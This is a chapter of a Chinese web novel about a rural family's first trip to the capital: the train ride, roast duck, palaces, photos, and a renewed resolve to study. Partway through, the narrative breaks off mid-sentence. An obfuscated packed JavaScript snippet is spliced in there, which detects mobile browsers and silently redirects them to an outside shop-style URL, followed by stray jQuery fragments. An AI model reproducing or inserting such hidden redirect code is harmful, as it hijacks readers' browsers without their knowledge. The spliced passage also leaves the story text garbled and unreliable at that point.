次日，所有人都起得很早。


    周以云从枕头下摸到一顶在她看来好看又时髦的帽子，搂着喵喵用力亲了亲。


    “谢谢你。”


    如果不是喵喵，她根本不可能有去那么远玩的机会，而且是和她的家人、喜欢的这么多人一起出去玩。


    “喵。”


    唐喵喵软乎地和亲亲外婆贴贴，她最喜欢外公外婆啦，他们开心她就开心。


    早饭吃得比较简单，吃完后他们一起走到离村子没多远的路上等班车。


    周以月第一次出去玩，认认真真地梳了头发，不用小妹催就自己仔细擦好雪花膏，还穿了好看的新衣服，小妹说叫什么蝙蝠衫，她、大嫂还有小妹一人一件，听说现在特别流行，大城市里的人都爱这么穿。


    说起来也是神奇，她本来还特别担心这里做不好那里做不好，给小妹大哥添麻烦、丢脸，可是换上新衣服穿上合脚的舒服的新鞋子以后，她一下子就变得自信起来。


    心里也只剩下和大哥小妹一起出去玩的开心，再没有其他多余的想法。


    朱慧心也差不多。


    她给女儿兰兰也擦了雪花膏，穿了背带裤。


    事实上，所有人都换上新衣服——如果不是要去城里，他们根本舍不得拿出来穿，会把新衣服放在箱子底下，等到过年或者去别人家做客的时候才拿出来。


    现在，周以云环顾身边人。


    大哥周以山一身花衬衫挂□□镜，脚下踩着昨天她刚拿给他的凉鞋，时不时伸手把头发朝后捋，一副老子天下第一帅的臭屁模样。


    二姐穿蝙蝠衫，新运动鞋，整个人都喜笑颜开，不见一点儿愁闷。


    丈夫正廉也踩着运动鞋，穿运动裤，花衬衫，时不时拿手扯一下衣服或者裤子，有点儿不自在，但看得出来也是高兴和喜欢的。


    大嫂朱慧心蝙蝠衫卡其布裤，侄女周敏兰背带裤头上系彩色发圈，做所有动作的时候都很小心，十分爱惜这身新装。


    婆婆张玉兰戴碎花头巾，大嫂牧红英喇叭裤，侄子唐敏远背带裤，二姑姐喇叭裤配凉鞋，每一个都乐开花。


    周以云自己的新衣服更多，还有一条现在最时兴的红裙子，只不过考虑到坐车不方便，她就穿的花衬衫和喇叭裤搭运动鞋，其他的装袋子里，等到时候到地方出去玩再换。


    嘟嘟。


    车子终于慢慢悠悠从土路上摇过来，他们这么一大堆人，惹得司机和车上的其他乘客看了又看。


    “你们去城里头耍啊？都穿的新衣服哦。”


    “上次我进城找人，就看见有好多妹妹穿的你们这种衣服，当时就觉得好看，可惜卖得太好了我去看的时候都已经一件都没有了，而且价格也不便宜。”


    坐车要钱，对这片大山里的人来说不算便宜，会选择坐车的一般都是实在太远，不可能靠走路走去，但是又有什么事情必须进城的，看着周以云一群人穿得那么时髦，心里都特别羡慕。


    张玉兰、周以月他们，从来没有被人用这种目光盯着看过，一时间觉得脸上发热得紧，手脚不知道该怎么摆放才好，忍不住一下又一下去扯身上的衣服。


    两个小孩儿最自在，听见大家伙儿夸他们，开心地挺直腰杆展示自己的新衣服，骄傲极了。


    在一片朴实真诚的夸赞中，车子摇到清县县城，周以云看过日头，没急着赶路，带着大家伙儿到国营大饭店里吃饭。


    回锅肉、冒血旺、宫保鸡丁、青椒土豆丝、炒时蔬、酸辣汤，再加很多很多的白米饭。


    每一份菜份量都很足，饭店里的大厨手艺很好，又很舍得放油，吃得十人纷纷顾不上抬头，一个劲儿朝嘴里扒菜扒饭。


    他们手里都没有多少钱，可以说除了周以山一家外，其他人都穷得叮当响，但都没吃白食，有钱的能力范围内拿点儿钱出来，没钱的牟足力气干活帮着拿东西，让做什么就做什么，充当劳力。


    周以云示意大哥周以山象征性地收下一点儿，稍稍休息，带着人朝火车站走。


    “咱们不是在城里耍吗？”


    瞅着火车站，唐正艺有些傻眼。


    “是去城里耍，只不过不是这个城。”


    周以山开口。


    妹妹已经私下和他说清楚要去首都，他一路上心情那叫一个复杂。


    怀疑，迷茫，不安，期待，惊喜……


    啥啥都有，啥啥都想过，肚子里更是装了一大堆问题想问妹妹。


    不过，那么多人在，他啥都没说。


    他相信妹妹，要是可以说，她肯定会说，既然只偷偷告诉他一个人，肯定也有她的理由，随便张嘴乱说会给妹妹惹麻烦。


    而且周以山心里有自己的答案。


    为什么能带这么多人一起去首都玩？


    妹夫在矿上肯定救到了很了不得的大人物，得了其他人根本不敢想的各种好处，这次去首都说不准是要去受表扬。


    为什么不明明白白告诉大家伙儿？


    周以山第一个就想到那些因为钱闹得一团糟的人家，觉得妹妹妹夫低调得很有道理，是有脑子的聪明人。


    同时他们又是真的对家里人好，得了那么好的机会，马上想法设法地带上家里人一起出去耍。


    周以山心里一下子被感动充满，啥乱七八糟地都不想了，全力配合妹妹。


    他积极地带着其他人朝站里面走，故意表现得像是组织这个活动的人。


    不过真的拿到票上到车的时候，周以山的心脏还是跳得快了又快。


    特快！软卧！


    在等车的时候，他没闲着，在站里面转了一圈，知道票价，要四五百一张！


    十个人不就是……四五千吗！


    亲娘耶！城里在厂子头上班的工人师傅，一个月工资就几十块！他们一堆人的票都够人上十几二十年班了！


    意识到这点后，周以山走路的步子又飘忽起来，每一步都像踩在棉花上，一点儿都不扎实。


    假的吧？


    他那么想着，大脑已经快要放弃思考。


    其他人不太懂这些，也没太注意，但走到可以睡下的软卧后，看着在这边走动的人穿着打扮，看起来就和其他坐车的人不一样，心里知道他们的票肯定不会便宜。


    更多的，谁都没敢问。


    清县离首都距离很远，火车缓缓启动，飞速奔驰，走了一天多个白天，加两个晚上。


    两个小孩儿玩疯了，看着窗外移动的景色吱哇乱叫。


    大人从一开始的晕乎，到后来也跟着一起看，好奇地打量四周，还吃了凉拌粉条。


    周以云一路上心潮澎湃，看着那些从来没见过的全


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857309|190951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    新风景，心里有什么东西轻轻碎开，随即长得更高更大。


    “原来，外面的世界长这样。”


    那种冲击比从山里去清县县城大很多很多，让她看见了另一种生活。


    轰隆隆，绿皮车减速进站。


    已经是从山上下来后的第三个早上。


    还没下车，周以云就已经感觉到这里和清县的不同。


    走出去之后，她面前开过在清县没见过的车。


    听过来接站的人介绍，那个小的黄的叫面的，大的叫公交车，他们要去哪里就会坐到。


    接站的人对这个城市很熟悉，带着他们上车先去住的地方，把东西放下，简单洗漱休息。


    中午带他们去附近吃烤鸭。


    “我们这儿的烤鸭很出名，你们快尝尝。”


    周以云试探着吃上一口。


    外酥里嫩，特别香。


    “小姑，这个好好吃！”


    周以云回神，脸上扬起明媚的笑。


    “那咱们就多吃点儿。”


    吃过烤鸭，周以云他们去看了红墙黄瓦。


    一大片叫人心中震动的宫殿看得他们目不暇接。


    晚上吃涮羊肉，早早回去休息。


    躺在床上，周以云心绪久久不能平静，唐正廉也一直在说话，讲今天看见的东西有多漂亮，说他们参观时遇到的那些人。


    出行第四天早上，他们吃豆腐脑和肉饼。


    上午逛画一样的园林，中午吃干烧黄鱼、清炖狮子头，下午天气很热，但他们玩耍的地方有很多很多紫色的竹子，走在里面很凉快，不怎么晒。


    晚上吃红烧肉，尝奶油炸糕。


    他们一共只有七天时间，最后两天还要坐火车回清县，真正在这儿玩的时间只有三天而已，都很珍惜，每天走很多路去很多地方也完全不觉得累，只觉得高兴。


    周以云拉着大哥大嫂二姐他们进照相馆拍了照，也学其他来玩的人一样，花钱请人在玩的地方拍了一些照片。


    她还大胆地穿上新凉鞋和耀眼的红裙子，一直拿黑色头绳扎着的头发学画报里的明星披散下来，戴上好看的蝴蝶发卡。


    一开始是局促的，不自在的，但在这个地方，很多人都穿得时髦，还有人戴耳环戴手链穿高跟鞋，烫头发画口红，所以不管是她还是其他人，都有被这股自由的、浓烈的热闹感染到，迅速变了心态，也会在拍照的时候做那些很多人都做的动作，不再紧张得站得板直、眼神闪躲。


    三天时间匆匆而过，所有人都还有种没呆够，想要再多呆一段时间的感觉，但他们也知道，在外面哪哪儿都要花钱，能来这里一趟已经很幸运。


    “妈妈，爸爸，我要好好学习以后考到这里来读大学！”


    周敏兰认真宣布。


    “好，到时候我们都来送你，又来玩一趟。”


    “嗯！”


    他们带着在这里拍的照片、买的特产踏上回家的列车，心里想的、脸上的表情，已经和来的时候变得不一样。


    周以云玩得很开心，但在回来以后立马收心按时下山去夜校上课。


    亲眼看见外面的世界后，她想学的东西更多了，学习的劲头更足了。


    更让她惊喜的是，大哥大嫂二姐丈夫，还有婆家大嫂二姐在不忙的时候都开始学习了。